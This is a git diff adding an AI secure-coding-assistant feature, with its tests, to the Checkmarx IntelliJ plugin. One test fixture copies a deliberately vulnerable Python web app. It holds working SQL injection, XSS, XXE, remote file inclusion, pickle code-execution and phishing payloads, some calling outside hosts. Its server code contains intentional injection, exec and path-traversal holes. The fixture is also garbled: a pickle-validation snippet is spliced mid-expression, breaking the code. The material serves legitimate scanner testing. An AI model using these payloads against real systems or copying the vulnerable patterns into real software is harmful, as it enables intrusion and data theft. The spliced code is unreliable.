b/src/main/resources/inspectionDescriptions/Asca.html @@ -0,0 +1,10 @@ + + +

Highlights results from Checkmarx AI Secure Code Assistant.

+ + + +

This inspection helps identify security best practice violations detected by the Checkmarx AI Secure Code Assistant.

+ + + diff --git a/src/main/resources/messages/CxBundle.properties b/src/main/resources/messages/CxBundle.properties index 1478e51c..7f1c10e2 100644 --- a/src/main/resources/messages/CxBundle.properties +++ b/src/main/resources/messages/CxBundle.properties @@ -5,6 +5,11 @@ SCAN_SECTION=Additional Settings ADDITIONAL_PARAMETERS=Additional parameters VALIDATE_BUTTON=Validate connection VALIDATE_IN_PROGRESS=Validating... +ASCA_DESCRIPTION=Checkmarx AI Secure Coding Assistant (ASCA): Activate ASCA +ASCA_CHECKBOX=Scan your file as you code +ASCA_SCAN_WARNING=ASCA Warning: {0} +FAILED_INSTALL_ASCA=Failed to install ASCA. Please try again. +ASCA_STARTED_MSG=AI Secure Coding Assistant Engine started. VALIDATE_SUCCESS=Successfully authenticated to Checkmarx One server VALIDATE_FAIL=Failed authentication: {0} VALIDATE_ERROR=Error in authentication diff --git a/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java b/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java new file mode 100644 index 00000000..c941c408 --- /dev/null +++ b/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java @@ -0,0 +1,79 @@ +package com.checkmarx.intellij.standard.commands; + +import com.checkmarx.ast.asca.ScanResult; +import com.checkmarx.intellij.ASCA.AscaService; +import com.checkmarx.intellij.Constants; +import com.checkmarx.intellij.standard.BaseTest; +import com.intellij.openapi.application.ApplicationManager; +import com.intellij.openapi.project.Project; +import com.intellij.openapi.project.ProjectManager; +import com.intellij.openapi.util.Computable; +import com.intellij.openapi.vfs.LocalFileSystem; +import com.intellij.openapi.vfs.VirtualFile; +import com.intellij.psi.PsiFile; +import com.intellij.psi.PsiManager; +import org.junit.jupiter.api.Assertions; + +public class TestScanAsca extends BaseTest { + AscaService ascaService = new AscaService(); + + public void testInstallAsca() { + Assertions.assertDoesNotThrow(()-> + { + boolean installed = ascaService.installAsca(); + Assertions.assertTrue(installed); + }); + } + + private PsiFile createPsiFileFromPath(String filePath) { + // Retrieve the VirtualFile in a read action + VirtualFile virtualFile = ApplicationManager.getApplication().runReadAction((Computable) () -> + LocalFileSystem.getInstance().findFileByPath(filePath) + ); + + Assertions.assertNotNull(virtualFile, "The virtual file should not be null."); + Project project = ProjectManager.getInstance().getDefaultProject(); + + // Retrieve the PsiFile in a read action + PsiFile psiFile = ApplicationManager.getApplication().runReadAction((Computable) () -> + PsiManager.getInstance(project).findFile(virtualFile) + ); + + Assertions.assertNotNull(psiFile, "The PsiFile should not be null."); + return psiFile; + } + + public void testRunAscaScan_FileWithVulnerabilities_Success() { + PsiFile psiFile = createPsiFileFromPath("src/test/java/com/checkmarx/intellij/standard/data/python-vul-file.py"); + Project project = ProjectManager.getInstance().getDefaultProject(); + + Assertions.assertDoesNotThrow(() -> { + ScanResult ascaMsg = ascaService.runAscaScan(psiFile, project, true, "Jetbrains"); + assert ascaMsg != null; + Assertions.assertNotNull(ascaMsg.getScanDetails(), "The scan result should not be null."); + Assertions.assertFalse(ascaMsg.getScanDetails().isEmpty(), "The scan result should have at least one detail."); + }); + } + + public void testRunAscaScan_FileWithNoVulnerabilities_Success() { + PsiFile psiFile = createPsiFileFromPath("src/test/java/com/checkmarx/intellij/standard/data/csharp-no-vul.cs"); + Project project = ProjectManager.getInstance().getDefaultProject(); + + Assertions.assertDoesNotThrow(() -> { + ScanResult ascaMsg = ascaService.runAscaScan(psiFile, project, true, "Jetbrains"); + assert ascaMsg != null; + Assertions.assertNull(ascaMsg.getScanDetails(), "The scan result should be null."); + }); + } + + public void testRunAscaScan_FileWithoutExtension_Fail() { + PsiFile psiFile = createPsiFileFromPath("src/test/java/com/checkmarx/intellij/standard/data/file"); + Project project = ProjectManager.getInstance().getDefaultProject(); + ScanResult ascaResult = ascaService.runAscaScan(psiFile, project, true, Constants.JET_BRAINS_AGENT_NAME); + + assert ascaResult != null; + Assertions.assertNull(ascaResult.getScanDetails()); + Assertions.assertNotNull(ascaResult.getError()); + } + +} diff --git a/src/test/java/com/checkmarx/intellij/standard/data/csharp-no-vul.cs b/src/test/java/com/checkmarx/intellij/standard/data/csharp-no-vul.cs new file mode 100644 index 00000000..8b974d8d --- /dev/null +++ b/src/test/java/com/checkmarx/intellij/standard/data/csharp-no-vul.cs @@ -0,0 +1,44 @@ +namespace EvidenceResolver.Tests.Contract +{ + public static class MockProviderServiceExtenstion + { + public static IMockProviderService WithRequest(this IMockProviderService mockProviderService, + HttpVerb method, object path, object body = null, Dictionary headers = null) + { + var providerServiceRequest = new ProviderServiceRequest + { + Method = method, + Path = path + }; + + providerServiceRequest.Headers = headers ?? new Dictionary + { + {"Content-Type", "application/json"} + }; + + if (body != null) { + providerServiceRequest.Body = PactNet.Matchers.Match.Type(body); + } + + return mockProviderService.With(providerServiceRequest); + } + + public static void WillRespondParameters(this IMockProviderService mockProviderService, + int status, dynamic body = null, Dictionary headers = null) + { + if (body == null) { + body = new { }; + } + + var expectedResponse = new ProviderServiceResponse + { + Status = status, + Headers = headers ?? new Dictionary + {{"Content-Type", "application/json; charset=utf-8"}}, + Body = PactNet.Matchers.Match.Type(body) + }; + + mockProviderService.WillRespondWith(expectedResponse); + } + } +} \ No newline at end of file diff --git a/src/test/java/com/checkmarx/intellij/standard/data/file b/src/test/java/com/checkmarx/intellij/standard/data/file new file mode 100644 index 00000000..8b974d8d --- /dev/null +++ b/src/test/java/com/checkmarx/intellij/standard/data/file @@ -0,0 +1,44 @@ +namespace EvidenceResolver.Tests.Contract +{ + public static class MockProviderServiceExtenstion + { + public static IMockProviderService WithRequest(this IMockProviderService mockProviderService, + HttpVerb method, object path, object body = null, Dictionary headers = null) + { + var providerServiceRequest = new ProviderServiceRequest + { + Method = method, + Path = path + }; + + providerServiceRequest.Headers = headers ?? new Dictionary + { + {"Content-Type", "application/json"} + }; + + if (body != null) { + providerServiceRequest.Body = PactNet.Matchers.Match.Type(body); + } + + return mockProviderService.With(providerServiceRequest); + } + + public static void WillRespondParameters(this IMockProviderService mockProviderService, + int status, dynamic body = null, Dictionary headers = null) + { + if (body == null) { + body = new { }; + } + + var expectedResponse = new ProviderServiceResponse + { + Status = status, + Headers = headers ?? new Dictionary + {{"Content-Type", "application/json; charset=utf-8"}}, + Body = PactNet.Matchers.Match.Type(body) + }; + + mockProviderService.WillRespondWith(expectedResponse); + } + } +} \ No newline at end of file diff --git a/src/test/java/com/checkmarx/intellij/standard/data/python-vul-file.py b/src/test/java/com/checkmarx/intellij/standard/data/python-vul-file.py new file mode 100644 index 00000000..647f34d3 --- /dev/null +++ b/src/test/java/com/checkmarx/intellij/standard/data/python-vul-file.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python +import html, http.client, http.server, io, json, os, pickle, random, re, socket, socketserver, sqlite3, string, sys, subprocess, time, traceback, urllib.parse, urllib.request, xml.etree.ElementTree # Python 3 required +try: + import lxml.etree +except ImportError: + print("[!] please install 'python-lxml' to (also) get access to XML vulnerabilities (e.g. '%s')\n" % ("apt-get install python-lxml" if os.name != "nt" else "https://pypi.python.org/pypi/lxml")) + +NAME, VERSION, GITHUB, AUTHOR, LICENSE = "Damn Small Vulnerable Web (DSVW) < 100 LoC (Lines of Code)", "0.2b", "https://github.com/stamparm/DSVW", "Miroslav Stampar (@stamparm)", "Unlicense (public domain)" +LISTEN_ADDRESS, LISTEN_PORT = "127.0.0.1", 65412 +HTML_PREFIX, HTML_POSTFIX = "\n\n\n\n%s\n\n\n\n" % html.escape(NAME), "
Powered by %s (v%s)
\n\n" % (GITHUB, re.search(r"\(([^)]+)", NAME).group(1), VERSION) +USERS_XML = """adminadminadmin7en8aiDoh!driccidianricci12345amasonanthonymasongandalfsvargassandravargasphest1945""" +CASES = (("Blind SQL Injection (boolean)", "?id=2", "/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%277%27\" onclick=\"alert('checking if the first character for admin\\'s password is digit \\'7\\' (true in case of same result(s) as for \\'vulnerable\\')')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#boolean-exploitation-technique"), ("Blind SQL Injection (time)", "?id=2", "/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C2%2C1)%3D%27e%27)%20THEN%20(LIKE(%27ABCDEFG%27%2CUPPER(HEX(RANDOMBLOB(300000000)))))%20ELSE%200%20END))\" onclick=\"alert('checking if the second character for admin\\'s password is letter \\'e\\' (true in case of delayed response)')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#time-delay-exploitation-technique"), ("UNION SQL Injection", "?id=2", "/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%7Cusername%7C%7C%27%2C%27%7C%7Cpassword%20FROM%20users%20WHERE%20username%3D%27admin%27)", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#union-exploitation-technique"), ("Login Bypass", "/login?username=&password=", "/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#classic-sql-injection"), ("HTTP Parameter Pollution", "/login?username=&password=", "/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution"), ("Cross Site Scripting (reflected)", "/?v=0.2", "/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting"), ("Cross Site Scripting (stored)", "/?comment=\" onclick=\"document.location='/?comment='+prompt('please leave a comment'); return false", "/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting"), ("Cross Site Scripting (DOM)", "/?#lang=en", "/?foobar#lang=en%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting"), ("Cross Site Scripting (JSONP)", "/users.json?callback=process\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=process';document.getElementsByTagName('head')[0].appendChild(script);return false", "/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess';document.getElementsByTagName('head')[0].appendChild(script);return false", "http://www.metaltoad.com/blog/using-jsonp-safely"), ("XML External Entity (local)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E" if os.name != "nt" else "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2FC%3A%2FWindows%2Fwin.ini%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection"), ("XML External Entity (remote)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3Dh1rvVnvx%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection"), ("Server Side Request Forgery", "/?path=", "/?path=http%3A%2F%2F127.0.0.1%3A631" if os.name != "nt" else "/?path=%5C%5C127.0.0.1%5CC%24%5CWindows%5Cwin.ini", "http://www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/"), ("Blind XPath Injection (boolean)", "/?name=dian", "/?name=admin%27%20and%20substring(password%2Ftext()%2C3%2C1)%3D%27n\" onclick=\"alert('checking if the third character for admin\\'s password is letter \\'n\\' (true in case of found item)')", "https://owasp.org/www-community/attacks/XPATH_Injection"), ("Cross Site Request Forgery", "/?comment=", "/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E\" onclick=\"alert('please visit \\'vulnerable\\' page to see what this click has caused')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery"), ("Frame Injection (phishing)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Frame Injection (content spoofing)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Clickjacking", None, "/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2Fdsvw.c1.biz%2F%27%22%3E%3C%2Fdiv%3E%3Cscript%3Ealert(%22click%20anywhere%20on%20page%22)%3B%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking"), ("Unvalidated Redirect", "/?redir=", "/?redir=http%3A%2F%2Fdsvw.c1.biz", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html"), ("Arbitrary Code Execution", "/?domain=www.google.com", "/?domain=www.google.com%3B%20ifconfig" if os.name != "nt" else "/?domain=www.google.com%26%20ipconfig", "https://en.wikipedia.org/wiki/Arbitrary_code_execution"), ("Full Path Disclosure", "/?path=", "/?path=foobar", "https://owasp.org/www-community/attacks/Full_Path_Disclosure"), ("Source Code Disclosure", "/?path=", "/?path=dsvw.py", "https://www.imperva.com/resources/glossary?term=source_code_disclosure"), ("Path Traversal", "/?path=", "/?path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" if os.name != "nt" else "/?path=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini", "https://www.owasp.org/index.php/Path_Traversal"), ("File Inclusion (remote)", "/?include=", "/?include=http%%3A%%2F%%2Fpastebin.com%%2Fraw.php%%3Fi%%3D6VyyNNhc&cmd=%s" % ("ifconfig" if os.name != "nt" else "ipconfig"), "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion"), ("HTTP Header Injection (phishing)", "/?charset=utf8", "/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E", "https://www.rapid7.com/db/vulnerabilities/http-generic-script-header-injection"), ("Component with Known Vulnerability (pickle)", "/?object=%s" % urllib.parse.quote(pickle.dumps(dict((_.findtext("username"), (_.findtext("name"), _.findtext("surname"))) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user")))), "/?object=cos%%0Asystem%%0A(S%%27%s%%27%%0AtR.%%0A\" onclick=\"alert('checking if arbitrary code can be executed remotely (true in case of delayed response)')" % urllib.parse.quote("ping -c 5 127.0.0.1" if os.name != "nt" else "ping -n 5 127.0.0.1"), "https://www.cs.uic.edu/~s/musings/pickle.html"), ("Denial of Service (memory)", "/?size=32", "/?size=9999999", "https://owasp.org/www-community/attacks/Denial_of_Service")) +def init(): + global connection + http.server.HTTPServer.allow_reuse_address = True + connection = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) + cursor = connection.cursor() + cursor.execute("CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, name TEXT, surname TEXT, password TEXT)") + cursor.executemany("INSERT INTO users(id, username, name, surname, password) VALUES(NULL, ?, ?, ?, ?)", ((_.findtext("username"), _.findtext("name"), _.findtext("surname"), _.findtext("password")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))) + cursor.execute("CREATE TABLE comments(id INTEGER PRIMARY KEY AUTOINCREMENT, comment TEXT, time TEXT)") + +class ReqHandler(http.server.BaseHTTPRequestHandler): + def do_GET(self): + path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") + code, content, params, cursor = http.client.OK, HTML_PREFIX, dict((match.group("parameter"), urllib.parse.unquote(','.join(re.findall(r"(?:\A|[?&])%s=([^&]+)" % match.group("parameter"), query)))) for match in re.finditer(r"((\A|[?&])(?P[\w\[\]]+)=)([^&]+)", query)), connection.cursor() + try: + if path == '/': + if "id" in params: + cursor.execute("SELECT id, username, name, surname FROM users WHERE id=" + params["id"]) + content += "
Result(s):
%s
idusernamenamesurname
%s" % ("".join("%s" % "".join("%s" % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX) + elif "v" in params: + content += re.sub(r"(v)[^<]+()", r"\g<1>%s\g<2>" % params["v"], HTML_POSTFIX) + elif "object" in params: + content = str(pickleimport pickle + + # Custom validation function + def validate(deserialized_object): + # Implement appropriate validation logic + if isinstance(deserialized_object, expected_type): # Replace 'expected_type' with the relevant type + # If validation passes + return True + return False + + # Example usage + try: + if "object" in params: + deserialized_object = pickle.loads(params["object"].encode()) + if validate(deserialized_object): + content = str(deserialized_object) + else: + content = None + print("Deserialized object validation failed.") + else: + content = None + except pickle.UnpicklingError as e: + # Handle the error appropriately + content = None + print(f"Error deserializing pickle: {e}").loads(params["object"].encode())) + elif "path" in params: + content = (open(os.path.abspath(params["path"]), "rb") if not "://" in params["path"] else urllib.request.urlopen(params["path"])).read().decode() + elif "domain" in params: + content = subprocess.check_output("nslookup " + params["domain"], shell=True, stderr=subprocess.STDOUT, stdin=subprocess.PIPE).decode() + elif "xml" in params: + content = lxml.etree.tostring(lxml.etree.parse(io.BytesIO(params["xml"].encode()), lxml.etree.XMLParser(no_network=False)), pretty_print=True).decode() + elif "name" in params: + found = lxml.etree.parse(io.BytesIO(USERS_XML.encode())).xpath(".//user[name/text()='%s']" % params["name"]) + content += "Surname: %s%s" % (found[-1].find("surname").text if found else "-", HTML_POSTFIX) + elif "size" in params: + start, _ = time.time(), "
".join("#" * int(params["size"]) for _ in range(int(params["size"]))) + content += "Time required (to 'resize image' to %dx%d): %.6f seconds%s" % (int(params["size"]), int(params["size"]), time.time() - start, HTML_POSTFIX) + elif "comment" in params or query == "comment=": + if "comment" in params: + cursor.execute("INSERT INTO comments VALUES(NULL, '%s', '%s')" % (params["comment"], time.ctime())) + content += "Thank you for leaving the comment. Please click here here to see all comments%s" % HTML_POSTFIX + else: + cursor.execute("SELECT id, comment, time FROM comments") + content += "
Comment(s):
%s
idcommenttime
%s" % ("".join("%s" % "".join("%s" % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX) + elif "include" in params: + backup, sys.stdout, program, envs = sys.stdout, io.StringIO(), (open(params["include"], "rb") if not "://" in params["include"] else urllib.request.urlopen(params["include"])).read(), {"DOCUMENT_ROOT": os.getcwd(), "HTTP_USER_AGENT": self.headers.get("User-Agent"), "REMOTE_ADDR": self.client_address[0], "REMOTE_PORT": self.client_address[1], "PATH": path, "QUERY_STRING": query} + exec(program, envs) + content += sys.stdout.getvalue() + sys.stdout = backup + elif "redir" in params: + content = content.replace("", "" % params["redir"]) + if HTML_PREFIX in content and HTML_POSTFIX not in content: + content += "
Attacks:
\n
    %s\n
\n" % ("".join("\n%s - vulnerable|exploit|info" % (" class=\"disabled\" title=\"module 'python-lxml' not installed\"" if ("lxml.etree" not in sys.modules and any(_ in case[0].upper() for _ in ("XML", "XPATH"))) else "", case[0], case[1], case[2], case[3]) for case in CASES)).replace("vulnerable|", "-|") + elif path == "/users.json": + content = "%s%s%s" % ("" if not "callback" in params else "%s(" % params["callback"], json.dumps(dict((_.findtext("username"), _.findtext("surname")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))), "" if not "callback" in params else ")") + elif path == "/login": + cursor.execute("SELECT * FROM users WHERE username='" + re.sub(r"[^\w]", "", params.get("username", "")) + "' AND password='" + params.get("password", "") + "'") + content += "Welcome %s" % (re.sub(r"[^\w]", "", params.get("username", "")), "".join(random.sample(string.ascii_letters + string.digits, 20))) if cursor.fetchall() else "The username and/or password is incorrect" + else: + code = http.client.NOT_FOUND + except Exception as ex: + content = ex.output if isinstance(ex, subprocess.CalledProcessError) else traceback.format_exc() + code = http.client.INTERNAL_SERVER_ERROR + finally: + self.send_response(code) + self.send_header("Connection", "close") + self.send_header("X-XSS-Protection", "0") + self.send_header("Content-Type", "%s%s" % ("text/html" if content.startswith("") else "text/plain", "; charset=%s" % params.get("charset", "utf8"))) + self.end_headers() + self.wfile.write(("%s%s" % (content, HTML_POSTFIX if HTML_PREFIX in content and GITHUB not in content else "")).encode()) + self.wfile.flush() + +class ThreadingServer(socketserver.ThreadingMixIn, http.server.HTTPServer): + def server_bind(self): + self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + http.server.HTTPServer.server_bind(self) + +if __name__ == "__main__": + init() + print("%s #v%s\n by: %s\n\n[i] running HTTP server at 'http://%s:%d'..." % (NAME, VERSION, AUTHOR, LISTEN_ADDRESS, LISTEN_PORT)) + try: + ThreadingServer((LISTEN_ADDRESS, LISTEN_PORT), ReqHandler).serve_forever() + except KeyboardInterrupt: + pass + except Exception as ex: + print("[x] exception occurred ('%s')" % ex) + finally: + os._exit(0) diff --git a/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java b/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java index 44067202..55096a71 100644 --- a/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java +++ b/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java @@ -12,6 +12,7 @@ import com.intellij.remoterobot.utils.RepeatUtilsKt; import com.intellij.remoterobot.utils.WaitForConditionTimeoutException; import org.apache.commons.lang3.StringUtils; +import org.assertj.swing.fixture.JCheckBoxFixture; import org.intellij.lang.annotations.Language; import org.jetbrains.annotations.NotNull; import org.junit.jupiter.api.Assertions; @@ -101,7 +102,7 @@ private static void trustClonedProject() { } } - private static void setField(String fieldName, String value) { + static void setField(String fieldName, String value) { log("Setting field " + fieldName); @Language("XPath") String fieldXpath = String.format(FIELD_NAME, fieldName); waitFor(() -> hasAnyComponent(fieldXpath) && find(fieldXpath).isShowing()); @@ -165,7 +166,7 @@ protected static void testASTConnection(boolean validCredentials) { } } - private static void openSettings() { + static void openSettings() { waitFor(() -> { focusCxWindow(); if (hasAnyComponent(SETTINGS_ACTION)) { @@ -279,7 +280,7 @@ && hasAnyComponent(NO_SCAN_SELECTED) }); } - private static void focusCxWindow() { + static void focusCxWindow() { boolean cxPluginOpened = find(BASE_LABEL).hasText("Checkmarx"); System.out.println("Plugin opened: " + cxPluginOpened); diff --git a/src/test/java/com/checkmarx/intellij/ui/TestAsca.java b/src/test/java/com/checkmarx/intellij/ui/TestAsca.java new file mode 100644 index 00000000..a802c386 --- /dev/null +++ b/src/test/java/com/checkmarx/intellij/ui/TestAsca.java @@ -0,0 +1,44 @@ +package com.checkmarx.intellij.ui; + +import com.automation.remarks.junit5.Video; +import com.intellij.remoterobot.fixtures.JTreeFixture; +import com.intellij.remoterobot.search.locators.Locators; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import static com.checkmarx.intellij.ui.utils.RemoteRobotUtils.*; +import static com.checkmarx.intellij.ui.utils.Xpath.*; + +public class TestAsca extends BaseUITest { + + public void clickAscaCheckbox(){ + openSettings(); + waitFor(() -> hasAnyComponent(ASCA_CHECKBOX)); + click(ASCA_CHECKBOX); + waitFor(() -> hasAnyComponent(ASCA_INSTALL_SUCCESS)); + Assertions.assertTrue(hasAnyComponent(ASCA_INSTALL_SUCCESS)); + } + + public void validateAscaRunning(){ + openSettings(); + waitFor(() -> hasAnyComponent(ASCA_INSTALL_SUCCESS)); + Assertions.assertTrue(hasAnyComponent(ASCA_INSTALL_SUCCESS)); + } + + @Test + @Video + public void testClickAscaCheckbox() { + clickAscaCheckbox(); + click(ASCA_CHECKBOX); + click(OK_BTN); + } + + @Test + @Video + public void clickAscaCheckbox_ExitSetting_OpenSetting_ValidateAscaRunning_Success() { + clickAscaCheckbox(); + click(OK_BTN); + validateAscaRunning(); + click(OK_BTN); + } +} \ No newline at end of file diff --git a/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java b/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java index 7fa57c39..5703f668 100644 --- a/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java +++ b/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java @@ -164,4 +164,12 @@ public class Xpath { public static final String HAS_SELECTION = "//div[@class='ActionButtonWithText' and starts-with(@visible_text,'%s: ')]"; @Language("XPath") public static final String SCAN_ID_SELECTION = "//div[@class='ActionButtonWithText' and substring(@visible_text, string-length(@visible_text) - string-length('%s') + 1) = '%s']"; + @Language("XPath") + public + static final String ASCA_INSTALL_SUCCESS = "//div[@class='JBLabel' and @accessiblename='AI Secure Coding Assistant Engine started.']"; + @Language("XPath") + public + static final String ASCA_CHECKBOX = "//div[@class='JBCheckBox' and @text='Scan your file as you code']"; + ; + }